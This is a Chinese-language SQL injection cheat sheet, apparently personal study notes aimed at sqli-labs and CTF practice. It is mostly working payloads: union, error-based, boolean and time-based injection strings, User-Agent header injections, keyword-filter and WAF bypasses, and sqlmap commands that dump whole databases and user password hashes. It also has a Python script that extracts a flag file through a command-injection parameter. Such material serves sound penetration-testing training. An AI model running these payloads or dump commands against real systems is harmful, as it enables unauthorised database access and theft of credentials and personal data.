弈秋弈秋
弈秋
弈秋
  • sql 注入

sql 注入

手工注入过程

// 1.执行成功sql命令,查看版本号。并且可以判断到显示位
-1' union select 1,version(),3#
// 2.查看表名
-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()#
// 3.查看字段名
-1' union select 1,column_name,3 from information_schema.columns where table_name='flag'#
-1' union select 1,column_name,3 from information_schema.columns where table_name='flag' limit 1,1#
// 4.查看字段内容
-1' union select 1,id,value from flag#

绕过关键字被过滤

user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(Table_name)/**/from/**/infOrmation_schema.Tables/**/where/**/Table_schema/**/like/**/database())c#

1.Post注入,过滤and|union|select|tables|or|,| |=
手工注入
获取当前库所有表名:
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(Table_name)/**/from/**/infOrmation_schema.Tables/**/where/**/Table_schema/**/like/**/database())c#
2.获取flag表所有字段:
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/group_concat(column_name)/**/from/**/infOrmation_schema.columns/**/where/**/Table_name/**/like/**/'flag')c#
3.获取字段值
user_id=-1'/**/UnIOn/**/SeLEct/**/*/**/from/**/(sElect/**/1)a/**/join/**/(sElect/**/2)b/**/join/**/(sElect/**/value/**/from/**/flag)c#

sqmap

python sqlmap.py -r tempdata/a.txt -p user_id
python sqlmap.py -r tempdata/a.txt -p user_id -dbs
python sqlmap.py -r tempdata/a.txt -p user_id -D db --tables
python sqlmap.py -r tempdata/a.txt -p user_id -D db -T flag --columns
python sqlmap.py -r tempdata/a.txt -p user_id -D db -T flag -C "value,id" --dump
1.查看所有的数据库
sqlmap -r 1 --dbs --batch	
2.指定某一个数据库,查看该库下面的所有的表
sqlmap -r 1 -D [数据库名] --tables --batch	
3.指定数据库,并且指定具体的表名,查看该表下面的所有内容
sqlmap -r 1 -D [数据库名] -T [表明] --dump --batch

靶场

docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

https://github.com/c0ny1/vulstudy.git

手工注入基础流程

理论基础

注入步骤:判断类型》对其进行闭合》获取数据库名》获取数据库表名》获取数据库列名》获取数据库字段

基本数据

  information_schema.tables --记录所有表名信息的表
  information_schema.columns --记录所有列名信息的表
  information_schema.schemata --记录所有数据库信息的表
  table_schema --数据库名
  table_name --表名
  column_name --列名
  group_concat() --显示所有查询到的数据 

联合注入

联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上能够有回显位。回显位就是客户端将数据展示在页面中,这个展示数据的位置就叫回显位

1.判断注入点

// 数字型
输入?id=1 正常;
输入?id=1' 报错;

//字符型
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常

?id=1’ and 1=2--+ 不正常
  1. 判断字段数
?id=1' order by 4--+
  1. 判断回显点
//输入1 union select 1,2 会返回

//输入-1' union select 1,2,3....n(n为字段数) 如下图所示:回显位是2和3
  1. 获取数据库名称和版本号
?id=-1%27%20union%20select%201,database(),version()--+

:这里id=-1是为了取一个不存在的值,好让后面的union能体现出来到前台,也可以用id=1 and 1=2,目的就是一个结果为false的表达式

其他常用数据库信息:

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本
  1. 确认数据库里的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

table_schema="security": 这里可以使用双引号、单引号,也是必须的,如果有问题,就得使用16进制编码,hex
:如果使用16进制,不是"security",而是security的16进制

  1. 确认user表里的字段名(列名)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
  1. 获取数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

报错盲注

条件:页面没有回显点,但是必须SQL语句能够执行错误的信息
步骤:构造目标数据查询语句》选择报错注入函数》构造报错注入语句》拼接报错注入语句
常用报错函数:Floor、updatexml、extractvalue…等等。

  1. Updatexml()则负责修改查询到的内容:语法:updatexml (XML_document, XPath_string, new_value);
      XML_document是String格式,为XML文档对象的名称,XML的内容。
      XPath_string (Xpath格式的字符串) ,是需要update的位置XPATH路径。
      new_value,String格式,更新后的内容

  2. extractvalue():MYSQL对XML文档数据进行查询的XPATH函数:extractvalue(xml_document, xpath_string)
      xml_document是string格式,为xml文档对象的名称
      xpath_string (xpath格式的字符串)
      extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误

步骤

  1. 判断是否字符型注入
  2. 测试是否存在报错注入
?id=1' and updatexml(1,'~',3)--+
  1. 查出数据库
?id=1' and updatexml(1,concat(0x7e,database()),3)--+
  1. 把concat中database()换成正常的查询sql语句就可以了,和联合查询语句如出一辙
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+

//通过limit来进行翻页查看  
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users )),3)--+ 
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),3)--+

floor 报错盲注

--爆库
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from 
(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)*2)) as x 
from information_schema.`COLUMNS` GROUP BY x) 
as y)

--爆表
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from 
(SELECT count(*),concat(0x23,
(SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)*2)) as x 
from information_schema.`COLUMNS` GROUP BY x) 
as y)

--爆列
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from 
(SELECT count(*),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = 'members' LIMIT 0,1),
0x23,floor(rand(0)*2)) as x 
from information_schema.`COLUMNS` GROUP BY x) 
as y)



布尔盲注

样例:这里的语句意思就是测试数据库版本第一位是不是5,通过返回的结果显示是对的。若不是5则页面返回错误,若是5则页面返回正确

?id=1' and left (version(),1)=5--+

常用布尔函数

substr(str,start,length)  //str为被截取的字符串 ,start为开始截取的位置 ,length为截取的长度  
substr(user(),1,1)  //从user中返回的数据的第一位开始偏移位置截取一位

left(str,length) //str为被截取的字符串,length为截取的长度。
left(user(),2)  //从user中返回的数据中截取前两位。

rigth(user(),2)  //参考left()函数用法

ascii(char)  //第一个参数char为一个字符  
ascii(user())  //若char为一串字符串,结果是第一个字母的ASCII码,结合substr函数结合使用。ascii(substr(user()1,1)),获取user()中第一位字符的ASCII码

length(str) //length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来

ord(str)  //参考ascii()函数用法

时间盲注

时间盲注就是通过拼接if语句,构造我们判断的条件,根据条件的结果返回sleep()函数,使得页面的响应时间比正常的响应时间长,但是这个会由于网络情况造成误判,所以在测试前需要测试正常访问页面的时长

常用函数

if(cond,ture_result,False_result): //cond为判断条件,ture_result为真时的返回结果,false_result为假时的返回结果  

?id=1 and 1=if (ascii(substr(user(),1,1))=97,1,2)
//如果user 的第一位是‘a’则将返回1,否则就返回2。然而,如果返回的是2,则会使and后的条件不成立,导致返回错误页面。这时我们可以根据页面的长度进行判定,从而达到盲注的效果

sleep(N) //第一个参数N是睡眠的时间

if (ascii(substr(user(),1,1))=114,sleep(5),2)  
//如果user的第一位是‘r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在服务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间

注入步骤

/Less-8/?id=1' and sleep(5)--+   //判断是否存在注入

?id=1' and if(length(database())=8,sleep(5),1)--+  //猜测数据库名长度

http 头部注入

后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞

常见HTTP头部注入类型

  1. Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
  2. User-agent:使服务器能够识别客户端使用的操作系统,浏览器版本等
  3. Referer:浏览器向web服务器表名自己是从哪个页面过来的
  4. X-forwarded-for:简称xff头,它代表客户端(即http的请求端)真实IP

样例

User-Agent: 'and updatexml(1,0x7e,3)and '1'='1

User-Agent: 'and updatexml(1,concat(0x7e,database()),3) and'   //确认数据库名  
User-Agent: 'and updatexml(1,concat(0x7e,version()),3) and'  //确认数据库版本号
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and'  //确认数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and' //数据库列名
User-Agent: 'and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and'  //拿取数据

一份无回显盲注脚本

import requests
import time

s=requests.session()
flag=''
for z in range(1,50):
    for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@#%|^&{}[]/-()+=,\\':
        starTime=time.time()
        url="http://127.0.0.1/?cmd=if [ `cut -c"+str(z)+"-"+str(z)+" /flag` != '"+i+"' ]; then echo 1 ; else sleep 3; fi"
        r=s.get(url)
        if((time.time()-starTime)>3):
            flag+=i
            print(flag)
            break
    print(z)
print('the flag is'+flag)

post注入

  1. 判断注入点
    输入:用户名:admin’ and 1=1#
    密码:随便输入 登录成功

  2. 判断字段数
    uname=admin' order by 3#

  3. 判断回显点

注意前面要加个-
uname=-admin' union select 1,2#

  1. 确定数据库名

当然这里有时候用不了联合查询,可以使用报错、布尔等方式进行注入
uname=-admin' union select database(),2#

waf 绕过

###常见过滤

  1. 空格过滤绕过
      ① 两个空格代替一个
      ② 用TAB代替空格
      ③ %a0=空格
      ④ 若括号没被过滤可以使用括号进行过滤
      ⑤ %0B绕过

  2. or或and过滤绕过
      ① 大小写变形Or,OR,oR
      ② 编码
      ③ 添加注释/or/
      ④ 利用符号 and=&&,or=||
      ⑤ 双写and=anandd,or=oorr

  3. #或–+过滤绕过
      ① 单引号闭合需要在后面增加一个单引号即可
      ② 双引号闭合需要在后面注入语句后面增加一个双引号
      ③ (‘’)单引号加括号这种需要多加一个or (‘’)=('1
      ④ (“”)双引号加括号这种需要多加一个or (“”)=("1
      ⑤ or ‘1’=’1进行闭合。

  4. union,select等关键字过滤绕过
      ① 大小写绕过uNIon,sEeCt
      ② 双写绕过uniunionon,selselctct
      ③ 注释符绕过U/**/nion
      ④ 内联注释/!union/
      ⑤ 编码绕过

  5. 等号过滤绕过
      ① 大于号小于号替代等号
      ② like绕过

  6. 函数过滤绕过
      ① 同功能函数替换mid()替换substring()
      ② 各类编码绕过

sqlmap 使用

命令:sqlmap -r 55.txt -batch
#通过抓包保存为txt文件,然后通过sqlmap软件进行扫描
 
命令:Sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1"  
#探测该页面是否存在漏洞。
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --cookie="抓取的cookie"  
#当网站需要登录时,探测该页面是否存在漏洞。
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --data="username=admin&password=admin&submit=submit" 
#抓取其post提交的数据填入
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all
#一键脱库命令
      
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dbs        
#爆出所有的数据库
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --tables     
#爆出所有的数据表
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --columns    
#爆出数据库中所有的列
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-db 
#查看当前的数据库
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --tables   
#爆出数据库security中的所有的表
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --columns   
#爆出security数据库中users表中的所有的列
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump    
#爆出数据库security中的users表中的username列中的所有数据
 
命令:sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100     
#爆出数据库security中的users表中的username列中的前100条数据
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security -T users --dump-all 
#爆出数据库security中的users表中的所有数据
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" -D security --dump-all 
#爆出数据库security中的所有数据
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --dump-all  
#爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --users      
#查看数据库的所有用户
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --passwords  
#查看数据库用户名的密码
 
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  
当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  
当MySQL>= 5.7时
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --current-user  
#查看数据库当前的用户
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --is-dba    
#判断当前用户是否有管理员权限
 
sqlmap -u "http://192.168.10.150/sqlilabs/Less-1/?id=1" --roles     
#列出数据库所有管理员角色,仅适用于oracle数据库的时候

其他

如何判断字符型和数值型注入

字符型和数字型注入的主要区别在于,数字型注入不需要使用单引号闭合

数字型

SELECT * FROM users WHERE id = x

-- 正常页面显示
www.example.com/page.php?id=1 AND 1=1
-- 页面错误显示
www.example.com/page.php?id=1 AND 1=2

字符型

SELECT * FROM users WHERE id = 'x'

-- 正常页面显示
www.example.com/page.php?id=1' AND '1'='1
-- 页面错误显示
www.example.com/page.php?id=1' AND '1'='2

mysql常用字符串函数

concat()

返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。可以有一个或多个参数

SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;

group_concat()

GROUP_CONCAT 函数返回一个字符串结果,默认查询所有结果。该结果由分组中的值连接组合而成

SELECT GROUP_CONCAT(id,username,password) AS users FROM users;

concat_ws()

CONCAT_WS() 代表 CONCAT With Separator ,是 CONCAT() 的特殊形式。第一个参数是其它参数的分隔符。感觉比 CONCAT 更方便了呀,这样参数多的话就不用手动的去添加分隔符了

SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;

rand()

rand() 是一个随机函数:产生0~1的小数  
通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列  
loor()函数: 向下取整  
rand(0) => 0~1  
rand(0)*2 => 0~2  
那么floor(rand(0)*2) => 要么0, 要么1  

最近更新:: 2025/11/25 21:36
Contributors: yiqiu